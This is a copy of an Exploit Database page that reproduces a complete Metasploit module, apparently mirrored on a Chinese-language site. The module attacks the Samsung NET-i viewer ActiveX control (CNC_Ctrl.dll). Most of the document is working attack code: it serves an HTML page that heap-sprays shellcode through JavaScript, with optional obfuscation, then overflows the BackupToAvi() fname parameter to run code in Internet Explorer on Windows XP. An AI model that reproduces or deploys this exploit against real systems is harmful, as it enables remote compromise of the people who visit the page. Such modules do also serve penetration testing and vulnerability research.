Samsung NET-i viewer – Multiple ActiveX ‘BackupToAvi()’ Remote Overflows (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-06-08
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19027/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Samsung NET-i viewer Multiple ActiveX BackupToAvi() Remote Overflow",
  			'Description'=> %q{
  					This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX installed
  				with the Samsung NET-i viewer 1.37.
  
  				Specifically, when supplying a long string for the fname parameter to the
  				BackupToAvi method, an integer overflow occurs, which leads to a posterior buffer
  				overflow due to the use of memcpy with an incorrect size, resulting in remote code
  				execution under the context of the user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Luigi Auriemma', # Vulnerability Discovery and PoC
  					'juan vazquez' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'OSVDB', '81453'],
  					[ 'BID', '53193'],
  					[ 'URL', 'http://aluigi.altervista.org/adv/netiware_1-adv.txt' ]
  				],
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'BadChars'=> "\x00"
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "seh",
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Samsung NET-i viewer 1.37
  					# CNC_Ctrl.dll 1.5.1.1
  					[ 'Automatic', {} ],
  					[ 'IE 6 on Windows XP SP3',
  						{
  							'Ret' => 0x0c0c0c0c,
  							'Offset' => '0x800 - code.length',
  						}
  					],
  					[ 'IE 7 on Windows XP SP3',
  						{
  							'Ret' => 0x0c0c0c0c,
  							'Offset' => '0x800 - code.length',
  						}
  					]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Apr 21 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
  			], self.class)
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
  			return targets[1]#IE 6 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
  			return targets[2]#IE 7 on Windows XP SP3
  		else
  			return nil
  		end
  	end
  
  
  	def on_request_uri(cli, request)
  		agent = request.headers['User-Agent']
  		my_target = get_target(agent)
  
  		# Avoid the attack if the victim doesn't have the same setup we're targeting
  		if my_target.nil?
  			print_error("Browser not supported: #{agent.to_s}")
  			send_not_found(cli)
  			return
  		end
  
  		print_status("Target set: #{my_target.name}")
  
  		p = payload.encoded
  		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
  
  		js = <<-JS
  		var heap_obj = new heapLib.ie(0x20000);
  		var code = unescape("#{js_code}");
  		var nops = unescape("#{js_nops}");
  
  		while (nops.length < 0x80000) nops += nops;
  		var offset = nops.substring(0, #{my_target['Offset']});
  		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  
  		while (shellcode.length < 0x40000) shellcode += shellcode;
  		var block = shellcode.substring(0, (0x80000-6)/2);
  
  		heap_obj.gc();
  
  		for (var i=1; i < 0x200; i++) {
  			heap_obj.alloc(block);
  		}
  		JS
  
  		js = heaplib(js, {:noobfu => true})
  
  		#obfuscate on demand
  		if datastore['OBFUSCATE']
  			js = ::Rex::Exploitation::JSObfu.new(js)
  			js.obfuscate
  		end
  
  		bof = Rex::Text.to_unescape("\x0c" * 2048, Rex::Arch.endian(my_target.arch))
  
  		html = <<-EOS
  		<html>
  		<head>
  		<script>
  		#{js}
  		</script>
  		</head>
  		<body>
  		<object id="target1" classid="CLSID:3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A"></object>
  		<script>
  			target1.BackupToAvi(0, 0, 0, unescape("#{bof}"));
  		</script>
  		<body>
  		</html>
  		EOS
  
  		html = html.gsub(/^\t\t/, '')
  
  		print_status("Sending html")
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  
  	end
  
  end